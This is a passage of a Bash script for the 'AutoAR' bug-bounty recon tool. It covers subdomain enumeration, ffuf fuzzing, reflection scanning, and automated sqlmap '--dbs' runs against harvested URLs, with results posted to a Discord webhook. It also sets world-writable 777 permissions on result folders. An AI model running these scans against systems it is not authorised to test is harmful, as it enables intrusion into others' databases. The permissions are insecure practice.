#!/bin/bash

# Add color variables at the top of the script
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Path to YAML config - detect based on environment
if [[ -n "$AUTOAR_CONFIG" ]]; then
    CONFIG_FILE="$AUTOAR_CONFIG"
elif [[ -f "/srv/config/autoar.yaml" ]]; then
    CONFIG_FILE="/srv/config/autoar.yaml"
elif [[ -f "/home/sallam/AutoAR/autoar.yaml" ]]; then
    CONFIG_FILE="/home/sallam/AutoAR/autoar.yaml"
else
    CONFIG_FILE="autoar.yaml"
fi

# Helper to get a value from YAML using yq
yaml_get() {
    yq -r "$1" "$CONFIG_FILE"
}

DB_NAME=$(yaml_get '.DB_NAME')
DOMAINS_COLLECTION=$(yaml_get '.mongodb.domains_collection')
SUBDOMAINS_COLLECTION=$(yaml_get '.mongodb.subdomains_collection')
SECURITYTRAILS_API_KEY=$(yaml_get '.securitytrails[0]')
DISCORD_WEBHOOK=$(yaml_get '.DISCORD_WEBHOOK')
SAVE_TO_DB=$(yaml_get '.SAVE_TO_DB')
VERBOSE=$(yaml_get '.VERBOSE')
GITHUB_TOKEN=$(yaml_get '.github[0]')

# At the top of the script, after other globals:
JS_MONITOR_MODE=0
CLEANUP_ON_EXIT=true
CURRENT_SCAN_DIR=""

# Cleanup function for graceful shutdown
cleanup_on_exit() {
    if [[ "$CLEANUP_ON_EXIT" == "true" && -n "$CURRENT_SCAN_DIR" && -d "$CURRENT_SCAN_DIR" ]]; then
        log INFO "Cleaning up scan results before exit..."
        log INFO "Removing scan directory: $CURRENT_SCAN_DIR"
        rm -rf "$CURRENT_SCAN_DIR"
        log SUCCESS "Scan cleanup completed"
    fi
    exit 0
}

# Set up signal handlers for cleanup
trap cleanup_on_exit SIGINT SIGTERM EXIT

# autoAR Logo
printf "==============================\n"
printf "

 ▗▄▖ ▗▖ ▗▖▗▄▄▄▖▗▄▖  ▗▄▖ ▗▄▄▖ 
▐▌ ▐▌▐▌ ▐▌  █ ▐▌ ▐▌▐▌ ▐▌▐▌ ▐▌
▐▛▀▜▌▐▌ ▐▌  █ ▐▌ ▐▌▐▛▀▜▌▐▛▀▚▖
▐▌ ▐▌▝▚▄▞▘  █ ▝▚▄▞▘▐▌ ▐▌▐▌ ▐▌
                              By: h0tak88r
                                    
"
printf "==============================\n"

# Constants
RESULTS_DIR="new-results"
WORDLIST_DIR="Wordlists"
FUZZ_WORDLIST="$WORDLIST_DIR/quick_fuzz.txt"
LOG_FILE="autoAR.log"
DOMAIN_DIR=""

# Improved log function with color and prefix
log() {
    local type="$1"
    local message="$2"
    local color prefix

    case "$type" in
        INFO)
            color="$CYAN"
            prefix="ℹ️ [INFO]"
            ;;
        SUCCESS)
            color="$GREEN"
            prefix="✅ [SUCCESS]"
            ;;
        WARNING)
            color="$YELLOW"
            prefix="⚠️ [WARNING]"
            ;;
        ERROR)
            color="$RED"
            prefix="❌ [ERROR]"
            ;;
        *)
            color="$NC"
            prefix="•"
            ;;
    esac

    printf "${color}${prefix} %s${NC}\n" "$message"
    printf "[%s] %s\n" "$type" "$message" >> "$LOG_FILE"
}

# Function to send messages to Discord
send_to_discord() {
    local content="$1"
    curl -H "Content-Type: application/json" \
         -X POST \
         -d "{\"content\": \"$content\"}" \
         "$DISCORD_WEBHOOK" > /dev/null 2>&1
}

# Function to send files to Discord
send_file_to_discord() {
    local file="$1"
    local description="$2"
    if [[ -f "$file" ]]; then
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            curl -F "file=@$file" \
                 -F "payload_json={\"content\": \"$description\"}" \
                 "$DISCORD_WEBHOOK" > /dev/null 2>&1
        else
            log WARNING "Discord webhook not provided, skipping file upload."
        fi
    else
        log ERROR "Error: File $file does not exist."
    fi
}

# Function to check if required tools are installed
check_tools() {
    log INFO "Checking for required tools..."
    
    # Define tools with their installation commands and descriptions
    declare -A tools_info=(
        ["subfinder"]="go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
        ["httpx"]="go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest"
        ["naabu"]="go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"
        ["nuclei"]="go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
        ["ffuf"]="go install github.com/ffuf/ffuf@latest"
        ["kxss"]="go install github.com/Emoe/kxss@latest"
        ["qsreplace"]="go install github.com/tomnomnom/qsreplace@latest"
        ["gf"]="go install github.com/tomnomnom/gf@latest"
        ["dalfox"]="go install github.com/hahwul/dalfox/v2@latest"
        ["urlfinder"]="go install github.com/pentest-company/urlfinder@latest"
        ["interlace"]="pip3 install interlace"
        ["jsleak"]="go install github.com/channyein1337/jsleak@latest"
        ["jsfinder"]="go install -v github.com/kacakb/jsfinder@latest"
        ["dnsx"]="go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest"
        ["dig"]="apt-get install dnsutils (Ubuntu/Debian) or yum install bind-utils (RHEL/CentOS)"
        ["jq"]="apt-get install jq (Ubuntu/Debian) or yum install jq (RHEL/CentOS)"
        ["yq"]="go install github.com/mikefarah/yq/v4@latest"
        ["anew"]="go install -v github.com/tomnomnom/anew@latest"
        ["curl"]="apt-get install curl (Ubuntu/Debian) or yum install curl (RHEL/CentOS)"
        ["git"]="apt-get install git (Ubuntu/Debian) or yum install git (RHEL/CentOS)"
        ["docker"]="curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh"
        ["fuzzuli"]="go install github.com/musana/fuzzuli@latest"
    )
    
    local missing_tools=()
    local optional_tools=()
    local installed_count=0
    local total_tools=${#tools_info[@]}
    
    # Check each tool
    for tool in "${!tools_info[@]}"; do
        if command -v "$tool" &> /dev/null; then
            local version=""
            case "$tool" in
                "subfinder"|"httpx"|"naabu"|"nuclei"|"dnsx")
                    version=$($tool -version 2>/dev/null | head -n1 | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -n1)
                    ;;
                "ffuf")
                    version=$($tool -V 2>/dev/null | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -n1)
                    ;;
                "nuclei")
                    version=$($tool -version 2>/dev/null | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -n1)
                    ;;
                "git")
                    version=$($tool --version 2>/dev/null | head -n1 | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -n1)
                    ;;
                "docker")
                    version=$($tool --version 2>/dev/null | head -n1 | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -n1)
                    ;;
                "jq")
                    version=$($tool --version 2>/dev/null | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -n1)
                    ;;
                *)
                    version="installed"
                    ;;
            esac
            
            if [[ -n "$version" ]]; then
                log SUCCESS "✓ $tool ($version)"
            else
                log SUCCESS "✓ $tool"
            fi
            ((installed_count++))
        else
            # Check if it's an optional tool
            case "$tool" in
                "docker"|"anew"|"fuzzuli")
                    optional_tools+=("$tool")
                    log WARNING "⚠ $tool (optional) - ${tools_info[$tool]}"
                    ;;
                *)
                    missing_tools+=("$tool")
                    log ERROR "✗ $tool - ${tools_info[$tool]}"
                    ;;
            esac
        fi
    done
    
    # Summary
    log INFO "Tool check complete: $installed_count/$total_tools tools installed"
    
    # Check for critical missing tools
    if [[ ${#missing_tools[@]} -gt 0 ]]; then
        log ERROR ""
        log ERROR "❌ CRITICAL: The following required tools are missing:"
        for tool in "${missing_tools[@]}"; do
            log ERROR "   • $tool"
            log ERROR "     Install: ${tools_info[$tool]}"
        done
        log ERROR ""
        log ERROR "Please install the missing tools before running AutoAR."
        log ERROR "Visit: https://github.com/h0tak88r/AutoAR#installation for detailed instructions"
        exit 1
    fi
    
    # Warn about optional tools
    if [[ ${#optional_tools[@]} -gt 0 ]]; then
        log WARNING ""
        log WARNING "⚠️  OPTIONAL: The following tools are recommended but not required:"
        for tool in "${optional_tools[@]}"; do
            log WARNING "   • $tool - ${tools_info[$tool]}"
        done
        log WARNING ""
    fi
    
    log SUCCESS "🎉 All required tools are installed! Ready to scan."
}

# Function to check important directories and files used in scans
check_directories() {
    local missing_dirs=()
    local missing_files=()
    local warnings=()
    
    log INFO "Checking important directories and files..."
    
    # Critical directories
    local critical_dirs=(
        "Wordlists"
        "regexes"
        "nuclei_templates"
        "nuclei-templates"
    )
    
    # Important files
    local important_files=(
        "Wordlists/quick_fuzz.txt"
        "regexes/trufflehog-v3.yaml"
        "regexes/confident-regexes.yaml"
        "regexes/nuclei-regexes.yaml"
        "regexes/nuclei-generic.yaml"
        "regexes/pii-regexs.yaml"
        "regexes/risky-regexes.yaml"
        "regexes/rules-stable.yaml"
    )
    
    # Check critical directories
    for dir in "${critical_dirs[@]}"; do
        if [[ -d "$dir" ]]; then
            log SUCCESS "✓ Directory $dir exists"
        else
            missing_dirs+=("$dir")
            log ERROR "✗ Directory $dir is missing"
        fi
    done
    
    # Check important files
    for file in "${important_files[@]}"; do
        if [[ -f "$file" ]]; then
            log SUCCESS "✓ File $file exists"
        else
            missing_files+=("$file")
            log WARNING "✗ File $file is missing"
        fi
    done
    
    # Check for specific nuclei template directories
    local nuclei_dirs=(
        "nuclei_templates/js"
        "nuclei_templates/takeover"
        "nuclei_templates/Others"
        "nuclei_templates/cves"
        "nuclei-templates/http"
        "nuclei-templates/http/takeovers"
    )
    
    for dir in "${nuclei_dirs[@]}"; do
        if [[ -d "$dir" ]]; then
            log SUCCESS "✓ Nuclei template directory $dir exists"
        else
            warnings+=("$dir")
            log WARNING "⚠ Nuclei template directory $dir is missing"
        fi
    done
    
    # Check for mutations wordlist
    if [[ -f "Wordlists/s3.txt" ]]; then
        log SUCCESS "✓ Mutations wordlist exists"
    else
        warnings+=("Wordlists/s3.txt")
        log WARNING "⚠ Mutations wordlist is missing (optional)"
    fi
    
    # Report missing critical directories
    if [[ ${#missing_dirs[@]} -gt 0 ]]; then
        log ERROR "Missing critical directories: ${missing_dirs[*]}"
        log ERROR "Please create these directories before running scans"
        
        # Provide creation commands
        log INFO "Directory creation commands:"
        for dir in "${missing_dirs[@]}"; do
            log INFO "  mkdir -p $dir"
        done
        
        return 1
    fi
    
    # Report missing important files
    if [[ ${#missing_files[@]} -gt 0 ]]; then
        log WARNING "Missing important files: ${missing_files[*]}"
        log WARNING "Some scan features may not work properly"
        
        # Provide download/setup commands
        log INFO "Setup commands:"
        if [[ " ${missing_files[*]} " =~ " regexes/" ]]; then
            log INFO "  # Download regex files from your repository"
            log INFO "  # Or create them manually based on your needs"
        fi
        if [[ " ${missing_files[*]} " =~ " Wordlists/" ]]; then
            log INFO "  # Create wordlists directory and add your wordlists"
            log INFO "  mkdir -p Wordlists"
            log INFO "  # Add quick_fuzz.txt and other wordlists"
        fi
    fi
    
    # Report warnings
    if [[ ${#warnings[@]} -gt 0 ]]; then
        log WARNING "Optional directories/files missing: ${warnings[*]}"
        log INFO "These enhance functionality but scans can still run"
    fi
    
    log SUCCESS "Directory and file check completed!"
    return 0
}

# Function to ensure proper permissions
ensure_permissions() {
    local dir="$1"
    if [[ -d "$dir" ]]; then
        chmod -R 777 "$dir" 2>/dev/null || true
        chown -R $(whoami):$(whoami) "$dir" 2>/dev/null || true
    fi
}

# Function to cleanup results directory after scan completion
cleanup_results() {
    local domain_dir="$1"
    local cleanup_delay="${2:-30}"  # Default 30 seconds delay
    
    if [[ -z "$domain_dir" || ! -d "$domain_dir" ]]; then
        log WARNING "No valid results directory to cleanup"
        return
    fi
    
    # Set the current scan directory for cleanup on exit
    CURRENT_SCAN_DIR="$domain_dir"
    
    log INFO "Results will be cleaned up on script exit"
    log INFO "Results are available at: $domain_dir"
    log SUCCESS "Cleanup will happen automatically when script exits"
}

# Function to disable cleanup (for commands that should keep results)
disable_cleanup() {
    CLEANUP_ON_EXIT=false
    CURRENT_SCAN_DIR=""  # Clear current scan directory
    log INFO "Cleanup disabled - results will be preserved"
}

# Function to enable cleanup (default behavior)
enable_cleanup() {
    CLEANUP_ON_EXIT=true
    log INFO "Cleanup enabled - results will be removed on exit"
}

# API Management Functions
API_URL="http://194.163.160.166:8000"
API_PID_FILE="autoar_api.pid"
API_LOG_FILE="autoar_api.log"
API_SCRIPT="api_production.py"

# Function to start API server
start_api() {
    log INFO "Starting AutoAR API server..."
    
    # Check if API is already running
    if [[ -f "$API_PID_FILE" ]]; then
        local api_pid=$(cat "$API_PID_FILE")
        if ps -p "$api_pid" > /dev/null 2>&1; then
            log WARNING "API is already running (PID: $api_pid)"
            return 0
        else
            log INFO "Removing stale PID file"
            rm -f "$API_PID_FILE"
        fi
    fi
    
    # Check if Python 3 is available
    if ! command -v python3 &> /dev/null; then
        log ERROR "Python 3 is required but not installed"
        return 1
    fi
    
    # Check if API script exists
    if [[ ! -f "$API_SCRIPT" ]]; then
        log ERROR "API script not found: $API_SCRIPT"
        return 1
    fi
    
    # Ensure results directory exists
    mkdir -p new-results
    
    # Start API in background
    log INFO "Starting API server on $API_URL"
    nohup python3 "$API_SCRIPT" > "$API_LOG_FILE" 2>&1 &
    local api_pid=$!
    echo "$api_pid" > "$API_PID_FILE"
    
    # Wait a moment and check if it started successfully
    sleep 2
    if ps -p "$api_pid" > /dev/null 2>&1; then
        log SUCCESS "API started successfully (PID: $api_pid)"
        log INFO "API Documentation: $API_URL/docs"
        log INFO "API Health: $API_URL/health"
        return 0
    else
        log ERROR "Failed to start API server"
        rm -f "$API_PID_FILE"
        return 1
    fi
}

# Function to stop API server
stop_api() {
    log INFO "Stopping AutoAR API server..."
    
    if [[ -f "$API_PID_FILE" ]]; then
        local api_pid=$(cat "$API_PID_FILE")
        if ps -p "$api_pid" > /dev/null 2>&1; then
            log INFO "Stopping API server (PID: $api_pid)"
            kill "$api_pid"
            
            # Wait for graceful shutdown
            local count=0
            while ps -p "$api_pid" > /dev/null 2>&1 && [[ $count -lt 10 ]]; do
                sleep 1
                ((count++))
            done
            
            if ps -p "$api_pid" > /dev/null 2>&1; then
                log WARNING "API didn't stop gracefully, forcing kill"
                kill -9 "$api_pid" 2>/dev/null || true
            fi
            
            log SUCCESS "API server stopped"
        else
            log WARNING "API server was not running (stale PID file)"
        fi
        rm -f "$API_PID_FILE"
    else
        log WARNING "No PID file found - API may not be running"
    fi
}

# Function to restart API server
restart_api() {
    log INFO "Restarting AutoAR API server..."
    stop_api
    sleep 2
    start_api
}

# Function to check API status
check_api_status() {
    log INFO "Checking AutoAR API status..."
    
    # Check if PID file exists and process is running
    if [[ -f "$API_PID_FILE" ]]; then
        local api_pid=$(cat "$API_PID_FILE")
        if ps -p "$api_pid" > /dev/null 2>&1; then
            log SUCCESS "API is running (PID: $api_pid)"
        else
            log ERROR "API is not running (stale PID file)"
            rm -f "$API_PID_FILE"
            return 1
        fi
    else
        log ERROR "API is not running (no PID file)"
        return 1
    fi
    
    # Check API health endpoint
    log INFO "Checking API health endpoint..."
    if curl -s "$API_URL/health" > /dev/null 2>&1; then
        log SUCCESS "API is responding at $API_URL"
        local health_response=$(curl -s "$API_URL/health" 2>/dev/null)
        if [[ -n "$health_response" ]]; then
            log INFO "Health response:"
            echo "$health_response" | jq . 2>/dev/null || echo "$health_response"
        fi
    else
        log ERROR "API is not responding at $API_URL"
        return 1
    fi
}

# Function to show API logs
show_api_logs() {
    log INFO "Showing AutoAR API logs..."
    if [[ -f "$API_LOG_FILE" ]]; then
        if [[ "$1" == "-f" || "$1" == "--follow" ]]; then
            log INFO "Following logs (Ctrl+C to stop)..."
            tail -f "$API_LOG_FILE"
        else
            log INFO "Last 50 lines of API logs:"
            tail -n 50 "$API_LOG_FILE"
        fi
    else
        log WARNING "API log file not found: $API_LOG_FILE"
    fi
}

# Function to install API as system service
install_api_service() {
    log INFO "Installing AutoAR API as system service..."
    
    # Check if running as root or with sudo
    if [[ $EUID -ne 0 ]]; then
        log ERROR "This command requires sudo privileges"
        log ERROR "Please run: sudo ./autoAr.sh api install"
        return 1
    fi
    
    # Create systemd service file
    local service_file="/etc/systemd/system/autoar-api.service"
    cat > "$service_file" << EOF
[Unit]
Description=AutoAR API Server
After=network.target

[Service]
Type=simple
User=sallam
WorkingDirectory=/home/sallam/AutoAR
ExecStart=/usr/bin/python3 /home/sallam/AutoAR/api_production.py
Restart=always
RestartSec=10
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target
EOF
    
    # Reload systemd
    log INFO "Reloading systemd daemon..."
    systemctl daemon-reload
    
    # Enable the service
    log INFO "Enabling AutoAR API service..."
    systemctl enable autoar-api
    
    # Start the service
    log INFO "Starting AutoAR API service..."
    systemctl start autoar-api
    
    # Check status
    log INFO "Checking service status..."
    systemctl status autoar-api --no-pager
    
    log SUCCESS "AutoAR API service installed and started!"
    log INFO "Service will start automatically on boot"
    log INFO "API URL: $API_URL"
}

# Function to uninstall API system service
uninstall_api_service() {
    log INFO "Removing AutoAR API system service..."
    
    # Check if running as root or with sudo
    if [[ $EUID -ne 0 ]]; then
        log ERROR "This command requires sudo privileges"
        log ERROR "Please run: sudo ./autoAr.sh api uninstall"
        return 1
    fi
    
    # Stop and disable service
    systemctl stop autoar-api 2>/dev/null || true
    systemctl disable autoar-api 2>/dev/null || true
    
    # Remove service file
    rm -f /etc/systemd/system/autoar-api.service
    
    # Reload systemd
    systemctl daemon-reload
    
    log SUCCESS "AutoAR API service removed"
}

# Function to setup results directory
setup_results_dir() {
    # Set up domain-specific directory path first
    if [[ -n "$SINGLE_SUBDOMAIN" ]]; then
        DOMAIN_DIR="$RESULTS_DIR/$SINGLE_SUBDOMAIN"
    elif [[ -n "$TARGET" ]]; then
        DOMAIN_DIR="$RESULTS_DIR/$TARGET"
    elif [[ -n "$GITHUB_REPO" ]]; then
        # For GitHub scans, use the repository name
        local repo_name=$(basename "$GITHUB_REPO" .git)
        DOMAIN_DIR="$RESULTS_DIR/github_$repo_name"
    elif [[ -n "$GITHUB_ORG" ]]; then
        # For GitHub organization scans, use the organization name
        DOMAIN_DIR="$RESULTS_DIR/github_org_$GITHUB_ORG"
    else
        log ERROR "Error: No target specified"
        exit 1
    fi
    
    # Set the current scan directory for cleanup tracking
    CURRENT_SCAN_DIR="$DOMAIN_DIR"
    
    # Ensure base results directory exists with proper permissions
    mkdir -p "$RESULTS_DIR"
    chmod 777 "$RESULTS_DIR" 2>/dev/null || true
    
    # Remove domain-specific directory if it exists
    if [[ -d "$DOMAIN_DIR" ]]; then
        log INFO "Removing previous results for ${SINGLE_SUBDOMAIN:-$TARGET}"
        rm -rf "$DOMAIN_DIR" 2>/dev/null || true
    fi
    
    # Create fresh domain directory and subdirectories
    mkdir -p "$DOMAIN_DIR"/{subs,urls,vulnerabilities/{xss,sqli,ssrf,ssti,lfi,rce,idor,js,takeovers},fuzzing,ports}
    
    # Ensure proper permissions
    ensure_permissions "$DOMAIN_DIR"
    
    # Create initial empty files
    touch "$DOMAIN_DIR/urls/all-urls.txt" 2>/dev/null || true
    touch "$DOMAIN_DIR/urls/js-urls.txt" 2>/dev/null || true
    touch "$DOMAIN_DIR/ports/ports.txt" 2>/dev/null || true
    touch "$DOMAIN_DIR/vulnerabilities/put-scan.txt" 2>/dev/null || true
    touch "$DOMAIN_DIR/fuzzing/ffuf.html" 2>/dev/null || true
    touch "$DOMAIN_DIR/fuzzing/ffuf-post.html" 2>/dev/null || true
    touch "$DOMAIN_DIR/subs/all-subs.txt" 2>/dev/null || true
    touch "$DOMAIN_DIR/subs/apis-subs.txt" 2>/dev/null || true
    touch "$DOMAIN_DIR/subs/subfinder-subs.txt" 2>/dev/null || true
    touch "$DOMAIN_DIR/subs/live-subs.txt" 2>/dev/null || true
    
    # Ensure permissions on created files
    ensure_permissions "$DOMAIN_DIR"
    
    log SUCCESS "Created fresh directory structure at $DOMAIN_DIR"
}

# Function to run fuzzing with ffuf
run_ffuf() {
    log INFO "Fuzzing with ffuf"
    
    # Ensure fuzzing directory exists
    mkdir -p "$DOMAIN_DIR/fuzzing"
    
    if [[ -n "$SINGLE_SUBDOMAIN" ]]; then
        log INFO "Fuzzing single subdomain: $SINGLE_SUBDOMAIN"
        ffuf -u "https://$SINGLE_SUBDOMAIN/FUZZ" -w "$FUZZ_WORDLIST" -fc 403,404,400,402,401 -unique > "$DOMAIN_DIR/fuzzing/ffuf.html" 2>> "$LOG_FILE"
        ffuf -u "https://$SINGLE_SUBDOMAIN/FUZZ" -w "$FUZZ_WORDLIST" -fc 403,404,400,402,401 -unique -X POST > "$DOMAIN_DIR/fuzzing/ffuf-post.html" 2>> "$LOG_FILE"
        
        # Check if files were created and have content
        if [[ -s "$DOMAIN_DIR/fuzzing/ffuf.html" ]]; then
            send_file_to_discord "$DOMAIN_DIR/fuzzing/ffuf.html" "ffuf GET Fuzz Results"
        else
            log WARNING "No GET fuzzing results found"
        fi
        
        if [[ -s "$DOMAIN_DIR/fuzzing/ffuf-post.html" ]]; then
            send_file_to_discord "$DOMAIN_DIR/fuzzing/ffuf-post.html" "ffuf POST Fuzz Results"
        else
            log WARNING "No POST fuzzing results found"
        fi
    else
        while IFS= read -r url; do
            log INFO "Fuzzing $url with ffuf"
            ffuf -u "$url/FUZZ" -w "$FUZZ_WORDLIST" -fc 403,404,400,402,401 -unique > "$DOMAIN_DIR/fuzzing/ffuf.html" 2>> "$LOG_FILE"
            ffuf -u "$url/FUZZ" -w "$FUZZ_WORDLIST" -fc 403,404,400,402,401 -unique -X POST > "$DOMAIN_DIR/fuzzing/ffuf-post.html" 2>> "$LOG_FILE"
            
            # Check if files were created and have content
            if [[ -s "$DOMAIN_DIR/fuzzing/ffuf.html" ]]; then
                send_file_to_discord "$DOMAIN_DIR/fuzzing/ffuf.html" "ffuf GET Fuzz Results for $url"
            else
                log WARNING "No GET fuzzing results found for $url"
            fi
            
            if [[ -s "$DOMAIN_DIR/fuzzing/ffuf-post.html" ]]; then
                send_file_to_discord "$DOMAIN_DIR/fuzzing/ffuf-post.html" "ffuf POST Fuzz Results for $url"
            else
                log WARNING "No POST fuzzing results found for $url"
            fi
        done < "$DOMAIN_DIR/subs/live-subs.txt"
    fi
}

# Function to run SQL injection scanning with sqlmap
run_sql_injection_scan() {
    log INFO "SQL Injection Scanning with sqlmap"
    
    # Check if gf results file exists and is not empty
    if [[ ! -f "$DOMAIN_DIR/vulnerabilities/sqli/gf-results.txt" ]]; then
        log WARNING "No SQL injection parameters found to scan"
        return
    fi
    
    if [[ ! -s "$DOMAIN_DIR/vulnerabilities/sqli/gf-results.txt" ]]; then
        log WARNING "SQL injection parameters file is empty"
        return
    fi

    # Create a temporary file with clean URLs
    local temp_urls="$DOMAIN_DIR/vulnerabilities/sqli/clean_urls.txt"
    # Clean and validate URLs before passing to interlace
    while IFS= read -r url; do
        # Remove any special characters and validate URL format
        cleaned_url=$(echo "$url" | tr -cd '[:print:]' | grep -E '^https?://')
        if [[ -n "$cleaned_url" ]]; then
            echo "$cleaned_url" >> "$temp_urls"
        fi
    done < "$DOMAIN_DIR/vulnerabilities/sqli/gf-results.txt"

    if [[ ! -s "$temp_urls" ]]; then
        log WARNING "No valid URLs found for SQL injection scanning"
        rm -f "$temp_urls"
        return
    fi

    # Run sqlmap scan with proper error handling
    log INFO "Running sqlmap on $(wc -l < "$temp_urls") URLs"
    if ! interlace -tL "$temp_urls" -threads 5 -c "sqlmap -u _target_ --batch --dbs --random-agent" -o "$DOMAIN_DIR/vulnerabilities/sqli/sqlmap-results.txt" 2>/dev/null; then
        log ERROR "Error running sqlmap scan"
    fi

    # Check results
    if [[ -s "$DOMAIN_DIR/vulnerabilities/sqli/sqlmap-results.txt" ]]; then
        log SUCCESS "SQL injection scan completed. Results saved to sqlmap-results.txt"
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            send_file_to_discord "$DOMAIN_DIR/vulnerabilities/sqli/sqlmap-results.txt" "SQL Injection Scan Results"
        fi
    else
        log WARNING "No SQL injection vulnerabilities found"
    fi

    # Cleanup
    rm -f "$temp_urls"
}

# Function to run reflection scanning
run_reflection_scan() {
    log INFO "Reflection Scanning"
    
    # Create temp file for filtered results
    local temp_results="/tmp/kxss_filtered.txt"
    
    # Run kxss and filter out empty reflection results
    kxss < "$DOMAIN_DIR/urls/all-urls.txt" | grep -v "Unfiltered: \[\]" > "$temp_results"
    
    # Only save and send non-empty results
    if [[ -s "$temp_results" ]]; then
        cp "$temp_results" "$DOMAIN_DIR/vulnerabilities/kxss-results.txt"
        log SUCCESS "Found reflection points, saved to kxss-results.txt"
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            send_file_to_discord "$DOMAIN_DIR/vulnerabilities/kxss-results.txt" "Reflection Scan Results"
        fi
    else
        log INFO "No reflection points found"
        touch "$DOMAIN_DIR/vulnerabilities/kxss-results.txt"
    fi
    
    # Cleanup
    rm -f "$temp_results"
}

# Function to run subdomain enumeration
subEnum() {
    local domain="$1"
    log INFO "Subdomain Enumeration using SubFinder and free API Sources"
    
    # Create temporary file for collecting subdomains
    local tmp_file="$DOMAIN_DIR/subs/tmp_subs.txt"
    
    # Ensure subs directory exists
    mkdir -p "$DOMAIN_DIR/subs"
    ensure_permissions "$DOMAIN_DIR/subs"
    
    # Initialize/clear files
    > "$DOMAIN_DIR/subs/apis-subs.txt" 2>/dev/null || touch "$DOMAIN_DIR/subs/apis-subs.txt"
    > "$DOMAIN_DIR/subs/subfinder-subs.txt" 2>/dev/null || touch "$DOMAIN_DIR/subs/subfinder-subs.txt"
    > "$DOMAIN_DIR/subs/all-subs.txt" 2>/dev/null || touch "$DOMAIN_DIR/subs/all-subs.txt"
    > "$tmp_file" 2>/dev/null || touch "$tmp_file"
    
    # Collect subdomains from various sources
    log INFO "Collecting subdomains from APIs..."
    curl -s "https://api.hackertarget.com/hostsearch/?q=$domain" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" >> "$tmp_file" 2>> "$LOG_FILE"
    curl -s "https://riddler.io/search/exportcsv?q=pld:$domain" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" >> "$tmp_file" 2>> "$LOG_FILE"
    curl -s "https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=$domain" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" >> "$tmp_file" 2>> "$LOG_FILE"
    curl -s "https://api.hackertarget.com/hostsearch/?q=$domain" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" >> "$tmp_file" 2>> "$LOG_FILE"
    curl -s "https://certspotter.com/api/v0/certs?domain=$domain" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" >> "$tmp_file" 2>> "$LOG_FILE"
    curl -s "https://crt.sh/?q=%.$domain&output=json" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" >> "$tmp_file" 2>> "$LOG_FILE"
    curl -s "https://jldc.me/anubis/subdomains/$domain" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" >> "$tmp_file" 2>> "$LOG_FILE"
    curl -s "https://otx.alienvault.com/api/v1/indicators/domain/$domain/passive_dns" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" >> "$tmp_file" 2>> "$LOG_FILE"
    
    # SecurityTrails API Integration
    if [[ -n "$SECURITYTRAILS_API_KEY" ]]; then
        log INFO "Collecting subdomains from SecurityTrails API..."
        response=$(curl -s -X GET "https://api.securitytrails.com/v1/domain/$domain/subdomains?children_only=false" \
            -H "accept: application/json" \
            -H "apikey: $SECURITYTRAILS_API_KEY")
        
        # Check if the response contains subdomains
        if echo "$response" | grep -q "subdomains"; then
            # Extract and format subdomains
            echo "$response" | jq -r '.subdomains[]' 2>/dev/null | \
            while read -r subdomain; do
                if [[ -n "$subdomain" ]]; then
                    echo "${subdomain}.$domain" >> "$tmp_file"
                fi
            done
            log SUCCESS "Successfully collected subdomains from SecurityTrails"
        else
            log WARNING "No results from SecurityTrails or invalid API key"
        fi
    else
        log INFO "SecurityTrails API key not provided, skipping..."
    fi
    
    # Clean and sort API results
    if [[ -f "$tmp_file" ]]; then
        cat "$tmp_file" | sed -e "s/\*\.$domain//g" -e "s/^\..*//g" | grep -o -E "[a-zA-Z0-9._-]+\.$domain" | sort -u > "$DOMAIN_DIR/subs/apis-subs.txt"
        rm "$tmp_file"
    fi
    
    # Run subfinder
    log INFO "Running subfinder..."
    if command -v subfinder &> /dev/null; then
        subfinder -d "$domain" -all -silent -o "$DOMAIN_DIR/subs/subfinder-subs.txt" -pc $CONFIG_FILE >> "$LOG_FILE" 2>&1
    else
        log WARNING "[-] subfinder not found, skipping subfinder enumeration"
    fi
    
    # Combine and sort all results
    cat "$DOMAIN_DIR/subs/subfinder-subs.txt" "$DOMAIN_DIR/subs/apis-subs.txt" 2>/dev/null | grep -v "*" | sort -u > "$DOMAIN_DIR/subs/all-subs.txt"
    
    # Count results
    local total_subs=$(wc -l < "$DOMAIN_DIR/subs/all-subs.txt")
    log SUCCESS "Found $total_subs unique subdomains"
    
    # Save to SQLite only if <= 3000
    if [[ -s "$DOMAIN_DIR/subs/all-subs.txt" ]]; then
        if [[ "$total_subs" -le 3000 ]]; then
            log INFO "Saving results to SQLite..."
            ./sqlite_db_handler.py add_subdomains_file "$domain" "$DOMAIN_DIR/subs/all-subs.txt"
            log SUCCESS "Subdomain Enumeration completed. Results saved in SQLite and $DOMAIN_DIR/subs/all-subs.txt"
        else
            log WARNING "Too many subdomains ($total_subs > 2000). Skipping database insert to avoid overload."
        fi
        if [[ $JS_MONITOR_MODE -ne 1 ]]; then
            send_file_to_discord "$DOMAIN_DIR/subs/all-subs.txt" "Subdomain Enumeration completed - Found $total_subs subdomains"
        fi
    else
        log WARNING "[-] No subdomains found for $domain"
    fi
}

# Function to fetch URLs
fetch_urls() {
